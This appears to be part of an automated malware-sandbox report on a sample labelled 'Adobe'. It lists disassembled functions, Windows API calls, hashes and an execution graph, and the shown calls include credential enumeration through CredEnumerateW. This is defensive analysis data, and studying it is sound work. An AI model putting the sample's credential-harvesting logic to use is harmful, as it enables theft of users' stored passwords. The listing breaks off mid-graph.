                                                                                                                              • Opcode Fuzzy Hash: f4d765c9bb58478f6d614cb19d249666f691a76f34bd4fd838862d42c91d6eee
                                                                                                                              • Instruction Fuzzy Hash: EB31A0B5A01258EFFB51CF99CC81D9EBBFCEB88390F12806AF80497215DA709E41CB54
                                                                                                                              Function 100086E4 Relevance: 6.1, APIs: 4, Instructions: 110COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,10006FFD,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 10008731
                                                                                                                              • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 100087BA
                                                                                                                              • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 100087CC
                                                                                                                              • __freea.LIBCMT ref: 100087D5
                                                                                                                                • Part of subcall function 100056D0: RtlAllocateHeap.NTDLL(00000000,?,00000000), ref: 10005702
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 2652629310-0
                                                                                                                              • Opcode ID: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                                                              • Instruction ID: 5b9b35b0a4db414dac5c81271493033b4f2f0f3dd9b893eeefd60fa04c8ec889
                                                                                                                              • Opcode Fuzzy Hash: 11ee239c82756698d200c57d0e0d3564a08309f574ce1b92975b0cd3435ea26e
                                                                                                                              • Instruction Fuzzy Hash: 2731AE32A0021AABEF15CF64CC85EAF7BA5EF44290F214129FC48D7158EB35DE50CBA0
                                                                                                                              Function 10005CE1 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,10001D66,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue), ref: 10005D13
                                                                                                                              • GetLastError.KERNEL32(?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000,00000364,?,10005BC8), ref: 10005D1F
                                                                                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,10005C88,10001D66,00000000,00000000,00000000,?,10005E85,00000006,FlsSetValue,1000E190,FlsSetValue,00000000), ref: 10005D2D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: LibraryLoad$ErrorLast
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3177248105-0
                                                                                                                              • Opcode ID: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                                                              • Instruction ID: ab8c2af688280ff547417c348c7c3430721907d0b6a0cc88e9d35c15e8af339b
                                                                                                                              • Opcode Fuzzy Hash: 803c5c09655bb12e7a00387565e20d3af286ada8f732c439529cecb726329beb
                                                                                                                              • Instruction Fuzzy Hash: 59018436615732ABE7319B689C8CB4B7798EF056E2B214623F909D7158D731D801CAE0
                                                                                                                              Function 100016AA Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 61COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _strlen
                                                                                                                              • String ID: : $Se.
                                                                                                                              • API String ID: 4218353326-4089948878
                                                                                                                              • Opcode ID: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                                                              • Instruction ID: 66f447a9efa091531784e06c0e565222335d100d85517175c1dac28435e0d9bb
                                                                                                                              • Opcode Fuzzy Hash: a70abbbd33418fa47f4ed48ac4096c545584c77cf093be3414735b4e2c88b945
                                                                                                                              • Instruction Fuzzy Hash: 2F11E7B5904249AEDB11DFA8D841BDEFBFCEF09244F104056E545E7252E6706B02C765
                                                                                                                              Function 10001EDE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 10002903
                                                                                                                                • Part of subcall function 100035D2: RaiseException.KERNEL32(?,?,?,10002925,00000000,00000000,00000000,?,?,?,?,?,10002925,?,100121B8), ref: 10003632
                                                                                                                              • __CxxThrowException@8.LIBVCRUNTIME ref: 10002920
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000004.00000002.4179715263.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                                                                                              • Associated: 00000004.00000002.4179685311.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              • Associated: 00000004.00000002.4179715263.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_4_2_10000000_Adobe.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Exception@8Throw$ExceptionRaise
                                                                                                                              • String ID: Unknown exception
                                                                                                                              • API String ID: 3476068407-410509341
                                                                                                                              • Opcode ID: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                                                              • Instruction ID: 696891806b75a506f07e96a947ab79166ff1ea0d2f17bc9dac180a151cc952bd
                                                                                                                              • Opcode Fuzzy Hash: 00f05d2547b3034e4c7bbe2eae49a616f435d37e9c126e5e725cfb9fdfb6d2bb
                                                                                                                              • Instruction Fuzzy Hash: 2BF0A47890420D77AB04E6E5EC4599D77ACDB006D0F508161FD1496499EF31FA658690

                                                                                                                              Execution Graph

                                                                                                                              Execution Coverage:6.2%
                                                                                                                              Dynamic/Decrypted Code Coverage:9.2%
                                                                                                                              Signature Coverage:0.8%
                                                                                                                              Total number of Nodes:2000
                                                                                                                              Total number of Limit Nodes:72
                                                                                                                              execution_graph 40550 441819 40553 430737 40550->40553 40552 441825 40554 430756 40553->40554 40555 43076d 40553->40555 40556 430774 40554->40556 40557 43075f 40554->40557 40555->40552 40559 43034a memcpy 40556->40559 40574 4169a7 11 API calls 40557->40574 40562 43077e 40559->40562 40560 4307ce 40561 430819 memset 40560->40561 40567 415b2c 40560->40567 40561->40555 40562->40555 40562->40560 40565 4307fa 40562->40565 40564 4307e9 40564->40555 40564->40561 40575 4169a7 11 API calls 40565->40575 40568 415b42 40567->40568 40570 415b46 40567->40570 40569 415b94 40568->40569 40568->40570 40572 415b5a 40568->40572 40571 4438b5 10 API calls 40569->40571 40570->40564 40571->40570 40572->40570 40573 415b79 memcpy 40572->40573 40573->40570 40574->40555 40575->40555 37544 442ec6 19 API calls 37718 4152c6 malloc 37719 4152e2 37718->37719 37720 4152ef 37718->37720 37722 416760 11 API calls 37720->37722 37722->37719 38321 4466f4 38340 446904 38321->38340 38323 446700 GetModuleHandleA 38326 446710 __set_app_type __p__fmode __p__commode 38323->38326 38325 4467a4 38327 4467ac __setusermatherr 38325->38327 38328 4467b8 38325->38328 38326->38325 38327->38328 38341 4468f0 _controlfp 38328->38341 38330 4467bd _initterm __wgetmainargs _initterm 38331 446810 38330->38331 38332 44681e GetStartupInfoW 38330->38332 38334 446866 GetModuleHandleA 38332->38334 38342 41276d 38334->38342 38338 446896 exit 38339 44689d _cexit 38338->38339 38339->38331 38340->38323 38341->38330 38343 41277d 38342->38343 38385 4044a4 LoadLibraryW 38343->38385 38345 412785 38346 412789 38345->38346 38393 414b81 38345->38393 38346->38338 38346->38339 38349 4127c8 38399 412465 memset ??2@YAPAXI 38349->38399 38351 4127ea 38411 40ac21 38351->38411 38356 412813 38429 40dd07 memset 38356->38429 38357 412827 38434 40db69 memset 38357->38434 38360 412822 38455 4125b6 ??3@YAXPAX 38360->38455 38362 40ada2 _wcsicmp 38363 41283d 38362->38363 38363->38360 38366 412863 CoInitialize 38363->38366 38439 41268e 38363->38439 38459 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 38366->38459 38368 41296f 38461 40b633 38368->38461 38373 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 38377 412957 CoUninitialize 38373->38377 38382 4128ca 38373->38382 38377->38360 38378 4128d0 TranslateAcceleratorW 38379 412941 GetMessageW 38378->38379 38378->38382 38379->38377 38379->38378 38380 412909 IsDialogMessageW 38380->38379 38380->38382 38381 4128fd IsDialogMessageW 38381->38379 38381->38380 38382->38378 38382->38380 38382->38381 38383 41292b TranslateMessage DispatchMessageW 38382->38383 38384 41291f IsDialogMessageW 38382->38384 38383->38379 38384->38379 38384->38383 38386 4044f7 38385->38386 38387 4044cf GetProcAddress 38385->38387 38391 404507 MessageBoxW 38386->38391 38392 40451e 38386->38392 38388 4044e8 FreeLibrary 38387->38388 38389 4044df 38387->38389 38388->38386 38390 4044f3 38388->38390 38389->38388 38390->38386 38391->38345 38392->38345 38394 414b8a 38393->38394 38395 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 38393->38395 38465 40a804 memset 38394->38465 38395->38349 38398 414b9e GetProcAddress 38398->38395 38400 4124e0 38399->38400 38401 412505 ??2@YAPAXI 38400->38401 38402 41251c 38401->38402 38404 412521 38401->38404 38487 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 38402->38487 38476 444722 38404->38476 38410 41259b wcscpy 38410->38351 38492 40b1ab free free 38411->38492 38413 40ac5c 38416 40a9ce malloc memcpy free free 38413->38416 38417 40ad4b 38413->38417 38419 40ace7 free 38413->38419 38424 40ad76 38413->38424 38496 40a8d0 7 API calls 38413->38496 38497 4099f4 38413->38497 38416->38413 38417->38424 38505 40a9ce 38417->38505 38419->38413 38493 40aa04 38424->38493 38425 40ada2 38426 40adc9 38425->38426 38428 40adaa 38425->38428 38426->38356 38426->38357 38427 40adb3 _wcsicmp 38427->38426 38427->38428 38428->38426 38428->38427 38511 40dce0 38429->38511 38431 40dd3a GetModuleHandleW 38516 40dba7 38431->38516 38435 40dce0 3 API calls 38434->38435 38436 40db99 38435->38436 38588 40dae1 38436->38588 38602 402f3a 38439->38602 38441 412766 38441->38360 38441->38366 38442 4126d3 _wcsicmp 38443 4126a8 38442->38443 38443->38441 38443->38442 38445 41270a 38443->38445 38636 4125f8 7 API calls 38443->38636 38445->38441 38605 411ac5 38445->38605 38456 4125da 38455->38456 38457 4125f0 38456->38457 38458 4125e6 DeleteObject 38456->38458 38460 40b1ab free free 38457->38460 38458->38457 38459->38373 38460->38368 38462 40b640 38461->38462 38463 40b639 free 38461->38463 38464 40b1ab free free 38462->38464 38463->38462 38464->38346 38466 40a83b GetSystemDirectoryW 38465->38466 38467 40a84c wcscpy 38465->38467 38466->38467 38472 409719 wcslen 38467->38472 38470 40a881 LoadLibraryW 38471 40a886 38470->38471 38471->38395 38471->38398 38473 409724 38472->38473 38474 409739 wcscat LoadLibraryW 38472->38474 38473->38474 38475 40972c wcscat 38473->38475 38474->38470 38474->38471 38475->38474 38477 444732 38476->38477 38478 444728 DeleteObject 38476->38478 38488 409cc3 38477->38488 38478->38477 38480 412551 38481 4010f9 38480->38481 38482 401130 38481->38482 38483 401134 GetModuleHandleW LoadIconW 38482->38483 38484 401107 wcsncat 38482->38484 38485 40a7be 38483->38485 38484->38482 38486 40a7d2 38485->38486 38486->38410 38486->38486 38487->38404 38491 409bfd memset wcscpy 38488->38491 38490 409cdb CreateFontIndirectW 38490->38480 38491->38490 38492->38413 38494 40aa14 38493->38494 38495 40aa0a free 38493->38495 38494->38425 38495->38494 38496->38413 38498 409a41 38497->38498 38499 4099fb malloc 38497->38499 38498->38413 38501 409a37 38499->38501 38502 409a1c 38499->38502 38501->38413 38503 409a30 free 38502->38503 38504 409a20 memcpy 38502->38504 38503->38501 38504->38503 38506 40a9e7 38505->38506 38507 40a9dc free 38505->38507 38509 4099f4 3 API calls 38506->38509 38508 40a9f2 38507->38508 38510 40a8d0 7 API calls 38508->38510 38509->38508 38510->38424 38535 409bca GetModuleFileNameW 38511->38535 38513 40dce6 wcsrchr 38514 40dcf5 38513->38514 38515 40dcf9 wcscat 38513->38515 38514->38515 38515->38431 38536 44db70 38516->38536 38520 40dbfd 38539 4447d9 38520->38539 38523 40dc34 wcscpy wcscpy 38565 40d6f5 38523->38565 38524 40dc1f wcscpy 38524->38523 38527 40d6f5 3 API calls 38528 40dc73 38527->38528 38529 40d6f5 3 API calls 38528->38529 38530 40dc89 38529->38530 38531 40d6f5 3 API calls 38530->38531 38532 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 38531->38532 38571 40da80 38532->38571 38535->38513 38537 40dbb4 memset memset 38536->38537 38538 409bca GetModuleFileNameW 38537->38538 38538->38520 38541 4447f4 38539->38541 38540 40dc1b 38540->38523 38540->38524 38541->38540 38542 444807 ??2@YAPAXI 38541->38542 38543 44481f 38542->38543 38544 444873 _snwprintf 38543->38544 38545 4448ab wcscpy 38543->38545 38578 44474a 8 API calls 38544->38578 38547 4448bb 38545->38547 38579 44474a 8 API calls 38547->38579 38549 4448a7 38549->38545 38549->38547 38550 4448cd 38580 44474a 8 API calls 38550->38580 38552 4448e2 38581 44474a 8 API calls 38552->38581 38554 4448f7 38582 44474a 8 API calls 38554->38582 38556 44490c 38583 44474a 8 API calls 38556->38583 38558 444921 38584 44474a 8 API calls 38558->38584 38560 444936 38585 44474a 8 API calls 38560->38585 38562 44494b 38586 44474a 8 API calls 38562->38586 38564 444960 ??3@YAXPAX 38564->38540 38566 44db70 38565->38566 38567 40d702 memset GetPrivateProfileStringW 38566->38567 38568 40d752 38567->38568 38569 40d75c WritePrivateProfileStringW 38567->38569 38568->38569 38570 40d758 38568->38570 38569->38570 38570->38527 38572 44db70 38571->38572 38573 40da8d memset 38572->38573 38574 40daac LoadStringW 38573->38574 38575 40dac6 38574->38575 38575->38574 38577 40dade 38575->38577 38587 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 38575->38587 38577->38360 38578->38549 38579->38550 38580->38552 38581->38554 38582->38556 38583->38558 38584->38560 38585->38562 38586->38564 38587->38575 38598 409b98 GetFileAttributesW 38588->38598 38590 40daea 38591 40db63 38590->38591 38592 40daef wcscpy wcscpy GetPrivateProfileIntW 38590->38592 38591->38362 38599 40d65d GetPrivateProfileStringW 38592->38599 38594 40db3e 38600 40d65d GetPrivateProfileStringW 38594->38600 38596 40db4f 38601 40d65d GetPrivateProfileStringW 38596->38601 38598->38590 38599->38594 38600->38596 38601->38591 38637 40eaff 38602->38637 38606 411ae2 memset 38605->38606 38607 411b8f 38605->38607 38677 409bca GetModuleFileNameW 38606->38677 38619 411a8b 38607->38619 38609 411b0a wcsrchr 38610 411b22 wcscat 38609->38610 38611 411b1f 38609->38611 38678 414770 wcscpy wcscpy wcscpy CreateFileW CloseHandle 38610->38678 38611->38610 38613 411b67 38679 402afb 38613->38679 38617 411b7f 38735 40ea13 SendMessageW memset SendMessageW 38617->38735 38620 402afb 27 API calls 38619->38620 38621 411ac0 38620->38621 38622 4110dc 38621->38622 38623 41113e 38622->38623 38628 4110f0 38622->38628 38760 40969c LoadCursorW SetCursor 38623->38760 38625 411143 38761 4032b4 38625->38761 38779 444a54 38625->38779 38626 4110f7 _wcsicmp 38626->38628 38627 411157 38629 40ada2 _wcsicmp 38627->38629 38628->38623 38628->38626 38782 410c46 10 API calls 38628->38782 38632 411167 38629->38632 38630 4111af 38632->38630 38633 4111a6 qsort 38632->38633 38633->38630 38636->38443 38638 40eb10 38637->38638 38650 40e8e0 38638->38650 38641 40eb6c memcpy memcpy 38645 40ebb7 38641->38645 38642 40ebf2 ??2@YAPAXI ??2@YAPAXI 38644 40ec2e ??2@YAPAXI 38642->38644 38647 40ec65 38642->38647 38643 40d134 16 API calls 38643->38645 38644->38647 38645->38641 38645->38642 38645->38643 38647->38647 38660 40ea7f 38647->38660 38649 402f49 38649->38443 38651 40e8f2 38650->38651 38652 40e8eb ??3@YAXPAX 38650->38652 38653 40e900 38651->38653 38654 40e8f9 ??3@YAXPAX 38651->38654 38652->38651 38655 40e911 38653->38655 38656 40e90a ??3@YAXPAX 38653->38656 38654->38653 38657 40e931 ??2@YAPAXI ??2@YAPAXI 38655->38657 38658 40e921 ??3@YAXPAX 38655->38658 38659 40e92a ??3@YAXPAX 38655->38659 38656->38655 38657->38641 38658->38659 38659->38657 38661 40aa04 free 38660->38661 38662 40ea88 38661->38662 38663 40aa04 free 38662->38663 38664 40ea90 38663->38664 38665 40aa04 free 38664->38665 38666 40ea98 38665->38666 38667 40aa04 free 38666->38667 38668 40eaa0 38667->38668 38669 40a9ce 4 API calls 38668->38669 38670 40eab3 38669->38670 38671 40a9ce 4 API calls 38670->38671 38672 40eabd 38671->38672 38673 40a9ce 4 API calls 38672->38673 38674 40eac7 38673->38674 38675 40a9ce 4 API calls 38674->38675 38676 40ead1 38675->38676 38676->38649 38677->38609 38678->38613 38736 40b2cc 38679->38736 38681 402b0a 38682 40b2cc 27 API calls 38681->38682 38683 402b23 38682->38683 38684 40b2cc 27 API calls 38683->38684 38685 402b3a 38684->38685 38686 40b2cc 27 API calls 38685->38686 38687 402b54 38686->38687 38688 40b2cc 27 API calls 38687->38688 38689 402b6b 38688->38689 38690 40b2cc 27 API calls 38689->38690 38691 402b82 38690->38691 38692 40b2cc 27 API calls 38691->38692 38693 402b99 38692->38693 38694 40b2cc 27 API calls 38693->38694 38695 402bb0 38694->38695 38696 40b2cc 27 API calls 38695->38696 38697 402bc7 38696->38697 38698 40b2cc 27 API calls 38697->38698 38699 402bde 38698->38699 38700 40b2cc 27 API calls 38699->38700 38701 402bf5 38700->38701 38702 40b2cc 27 API calls 38701->38702 38703 402c0c 38702->38703 38704 40b2cc 27 API calls 38703->38704 38705 402c23 38704->38705 38706 40b2cc 27 API calls 38705->38706 38707 402c3a 38706->38707 38708 40b2cc 27 API calls 38707->38708 38709 402c51 38708->38709 38710 40b2cc 27 API calls 38709->38710 38711 402c68 38710->38711 38712 40b2cc 27 API calls 38711->38712 38713 402c7f 38712->38713 38714 40b2cc 27 API calls 38713->38714 38715 402c99 38714->38715 38716 40b2cc 27 API calls 38715->38716 38717 402cb3 38716->38717 38718 40b2cc 27 API calls 38717->38718 38719 402cd5 38718->38719 38720 40b2cc 27 API calls 38719->38720 38721 402cf0 38720->38721 38722 40b2cc 27 API calls 38721->38722 38723 402d0b 38722->38723 38724 40b2cc 27 API calls 38723->38724 38725 402d26 38724->38725 38726 40b2cc 27 API calls 38725->38726 38727 402d3e 38726->38727 38728 40b2cc 27 API calls 38727->38728 38729 402d59 38728->38729 38730 40b2cc 27 API calls 38729->38730 38731 402d78 38730->38731 38732 40b2cc 27 API calls 38731->38732 38733 402d93 38732->38733 38734 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38733->38734 38734->38617 38735->38607 38739 40b58d 38736->38739 38738 40b2d1 38738->38681 38740 40b5a4 GetModuleHandleW FindResourceW 38739->38740 38741 40b62e 38739->38741 38742 40b5c2 LoadResource 38740->38742 38744 40b5e7 38740->38744 38741->38738 38743 40b5d0 SizeofResource LockResource 38742->38743 38742->38744 38743->38744 38744->38741 38752 40afcf 38744->38752 38746 40b608 memcpy 38755 40b4d3 memcpy 38746->38755 38748 40b61e 38756 40b3c1 18 API calls 38748->38756 38750 40b626 38757 40b04b 38750->38757 38753 40b04b ??3@YAXPAX 38752->38753 38754 40afd7 ??2@YAPAXI 38753->38754 38754->38746 38755->38748 38756->38750 38758 40b051 ??3@YAXPAX 38757->38758 38759 40b05f 38757->38759 38758->38759 38759->38741 38760->38625 38762 4032c4 38761->38762 38763 40b633 free 38762->38763 38764 403316 38763->38764 38783 44553b 38764->38783 38768 403480 38981 40368c 15 API calls 38768->38981 38770 403489 38771 40b633 free 38770->38771 38772 403495 38771->38772 38772->38627 38773 4033a9 memset memcpy 38774 4033ec wcscmp 38773->38774 38775 40333c 38773->38775 38774->38775 38775->38768 38775->38773 38775->38774 38979 4028e7 11 API calls 38775->38979 38980 40f508 6 API calls 38775->38980 38777 403421 _wcsicmp 38777->38775 38780 444a64 FreeLibrary 38779->38780 38781 444a83 38779->38781 38780->38781 38781->38627 38782->38628 38784 445548 38783->38784 38785 445599 38784->38785 38982 40c768 38784->38982 38786 4455a8 memset 38785->38786 38929 4457f2 38785->38929 39065 403988 38786->39065 38793 445854 38794 4458aa 38793->38794 39190 403c9c memset memset memset memset memset 38793->39190 38796 44594a 38794->38796 38797 4458bb memset memset 38794->38797 38795 445672 39076 403fbe memset memset memset memset memset 38795->39076 38799 4459ed 38796->38799 38800 44595e memset memset 38796->38800 38802 414c2e 16 API calls 38797->38802 38805 445a00 memset memset 38799->38805 38806 445b22 38799->38806 38807 414c2e 16 API calls 38800->38807 38801 4455e5 38801->38795 38819 44560f 38801->38819 38808 4458f9 38802->38808 39213 414c2e 38805->39213 38811 445bca 38806->38811 38812 445b38 memset memset memset 38806->38812 38817 44599c 38807->38817 38818 40b2cc 27 API calls 38808->38818 38829 445c8b memset memset 38811->38829 38879 445cf0 38811->38879 38824 445bd4 38812->38824 38825 445b98 38812->38825 38813 445849 39278 40b1ab free free 38813->39278 38828 40b2cc 27 API calls 38817->38828 38830 445909 38818->38830 38821 4087b3 338 API calls 38819->38821 38840 445621 38821->38840 38823 44589f 39279 40b1ab free free 38823->39279 38837 414c2e 16 API calls 38824->38837 38825->38824 38833 445ba2 38825->38833 38842 4459ac 38828->38842 38831 414c2e 16 API calls 38829->38831 38839 409d1f 6 API calls 38830->38839 38843 445cc9 38831->38843 39351 4099c6 wcslen 38833->39351 38834 4456b2 39266 40b1ab free free 38834->39266 38836 40b2cc 27 API calls 38846 445a4f 38836->38846 38848 445be2 38837->38848 38838 403335 38978 4452e5 45 API calls 38838->38978 38851 445919 38839->38851 39264 4454bf 20 API calls 38840->39264 38841 445823 38841->38813 38859 4087b3 338 API calls 38841->38859 38852 409d1f 6 API calls 38842->38852 38853 409d1f 6 API calls 38843->38853 38844 445879 38844->38823 38863 4087b3 338 API calls 38844->38863 39228 409d1f wcslen wcslen 38846->39228 38857 40b2cc 27 API calls 38848->38857 38849 445d3d 38877 40b2cc 27 API calls 38849->38877 38850 445d88 memset memset memset 38860 414c2e 16 API calls 38850->38860 39280 409b98 GetFileAttributesW 38851->39280 38861 4459bc 38852->38861 38862 445ce1 38853->38862 38854 445bb3 39354 445403 memset 38854->39354 38855 445680 38855->38834 39099 4087b3 memset 38855->39099 38866 445bf3 38857->38866 38859->38841 38869 445dde 38860->38869 39347 409b98 GetFileAttributesW 38861->39347 39371 409b98 GetFileAttributesW 38862->39371 38863->38844 38876 409d1f 6 API calls 38866->38876 38867 445928 38867->38796 39281 40b6ef 38867->39281 38878 40b2cc 27 API calls 38869->38878 38871 4459cb 38871->38799 38888 40b6ef 252 API calls 38871->38888 38875 40b2cc 27 API calls 38881 445a94 38875->38881 38883 445c07 38876->38883 38884 445d54 _wcsicmp 38877->38884 38887 445def 38878->38887 38879->38838 38879->38849 38879->38850 38880 445389 258 API calls 38880->38811 39233 40ae18 38881->39233 38882 44566d 38882->38929 39150 413d4c 38882->39150 38891 445389 258 API calls 38883->38891 38892 445d71 38884->38892 38955 445d67 38884->38955 38886 445665 39265 40b1ab free free 38886->39265 38893 409d1f 6 API calls 38887->38893 38888->38799 38896 445c17 38891->38896 39372 445093 23 API calls 38892->39372 38899 445e03 38893->38899 38895 4456d8 38901 40b2cc 27 API calls 38895->38901 38902 40b2cc 27 API calls 38896->38902 38898 44563c 38898->38886 38904 4087b3 338 API calls 38898->38904 39373 409b98 GetFileAttributesW 38899->39373 38900 40b6ef 252 API calls 38900->38838 38906 4456e2 38901->38906 38907 445c23 38902->38907 38903 445d83 38903->38838 38904->38898 39267 413fa6 _wcsicmp _wcsicmp 38906->39267 38911 409d1f 6 API calls 38907->38911 38909 445e12 38912 445e6b 38909->38912 38916 40b2cc 27 API calls 38909->38916 38914 445c37 38911->38914 39375 445093 23 API calls 38912->39375 38913 4456eb 38919 4456fd memset memset memset memset 38913->38919 38920 4457ea 38913->38920 38921 445389 258 API calls 38914->38921 38915 445b17 39348 40aebe 38915->39348 38923 445e33 38916->38923 39268 409c70 wcscpy wcsrchr 38919->39268 39271 413d29 38920->39271 38927 445c47 38921->38927 38928 409d1f 6 API calls 38923->38928 38925 445e7e 38930 445f67 38925->38930 38933 40b2cc 27 API calls 38927->38933 38934 445e47 38928->38934 38929->38793 39167 403e2d memset memset memset memset memset 38929->39167 38935 40b2cc 27 API calls 38930->38935 38931 445ab2 memset 38936 40b2cc 27 API calls 38931->38936 38938 445c53 38933->38938 39374 409b98 GetFileAttributesW 38934->39374 38940 445f73 38935->38940 38941 445aa1 38936->38941 38937 409c70 2 API calls 38942 44577e 38937->38942 38943 409d1f 6 API calls 38938->38943 38945 409d1f 6 API calls 38940->38945 38941->38915 38941->38931 38946 409d1f 6 API calls 38941->38946 39240 40add4 38941->39240 39245 445389 38941->39245 39254 40ae51 38941->39254 38947 409c70 2 API calls 38942->38947 38948 445c67 38943->38948 38944 445e56 38944->38912 38952 445e83 memset 38944->38952 38949 445f87 38945->38949 38946->38941 38950 44578d 38947->38950 38951 445389 258 API calls 38948->38951 39378 409b98 GetFileAttributesW 38949->39378 38950->38920 38957 40b2cc 27 API calls 38950->38957 38951->38811 38956 40b2cc 27 API calls 38952->38956 38955->38838 38955->38900 38958 445eab 38956->38958 38959 4457a8 38957->38959 38960 409d1f 6 API calls 38958->38960 38961 409d1f 6 API calls 38959->38961 38963 445ebf 38960->38963 38962 4457b8 38961->38962 39270 409b98 GetFileAttributesW 38962->39270 38965 40ae18 9 API calls 38963->38965 38969 445ef5 38965->38969 38966 4457c7 38966->38920 38967 40ae51 9 API calls 38967->38969 38969->38967 38970 445f5c 38969->38970 38972 40add4 2 API calls 38969->38972 38973 40b2cc 27 API calls 38969->38973 38974 409d1f 6 API calls 38969->38974 38976 445f3a 38969->38976 39376 409b98 GetFileAttributesW 38969->39376 38971 40aebe FindClose 38970->38971 38971->38930 38972->38969 38973->38969 38974->38969 39377 445093 23 API calls 38976->39377 38978->38775 38979->38777 38980->38775 38981->38770 38983 40c775 38982->38983 39379 40b1ab free free 38983->39379 38985 40c788 39380 40b1ab free free 38985->39380 38987 40c790 39381 40b1ab free free 38987->39381 38989 40c798 38990 40aa04 free 38989->38990 38991 40c7a0 38990->38991 39382 40c274 memset 38991->39382 38996 40a8ab 9 API calls 38997 40c7c3 38996->38997 38998 40a8ab 9 API calls 38997->38998 38999 40c7d0 38998->38999 39411 40c3c3 38999->39411 39003 40c877 39012 40bdb0 39003->39012 39004 40c86c 39453 4053fe 39 API calls 39004->39453 39010 40c7e5 39010->39003 39010->39004 39011 40c634 49 API calls 39010->39011 39436 40a706 39010->39436 39011->39010 39646 404363 39012->39646 39015 40bf5d 39666 40440c 39015->39666 39017 40bdee 39017->39015 39020 40b2cc 27 API calls 39017->39020 39018 40bddf CredEnumerateW 39018->39017 39021 40be02 wcslen 39020->39021 39021->39015 39028 40be1e 39021->39028 39028->39015 39032 4135f7 39066 40399d 39065->39066 39712 403a16 39066->39712 39069 403a12 wcsrchr 39069->38801 39072 4039a3 39073 4039f4 39072->39073 39075 403a09 39072->39075 39723 40a02c CreateFileW 39072->39723 39074 4099c6 2 API calls 39073->39074 39073->39075 39074->39075 39726 40b1ab free free 39075->39726 39077 414c2e 16 API calls 39076->39077 39078 404048 39077->39078 39079 414c2e 16 API calls 39078->39079 39080 404056 39079->39080 39081 409d1f 6 API calls 39080->39081 39082 404073 39081->39082 39083 409d1f 6 API calls 39082->39083 39084 40408e 39083->39084 39085 409d1f 6 API calls 39084->39085 39086 4040a6 39085->39086 39087 403af5 20 API calls 39086->39087 39088 4040ba 39087->39088 39089 403af5 20 API calls 39088->39089 39090 4040cb 39089->39090 39753 40414f memset 39090->39753 39092 404140 39767 40b1ab free free 39092->39767 39093 4040ec memset 39097 4040e0 39093->39097 39095 404148 39095->38855 39096 4099c6 2 API calls 39096->39097 39097->39092 39097->39093 39097->39096 39098 40a8ab 9 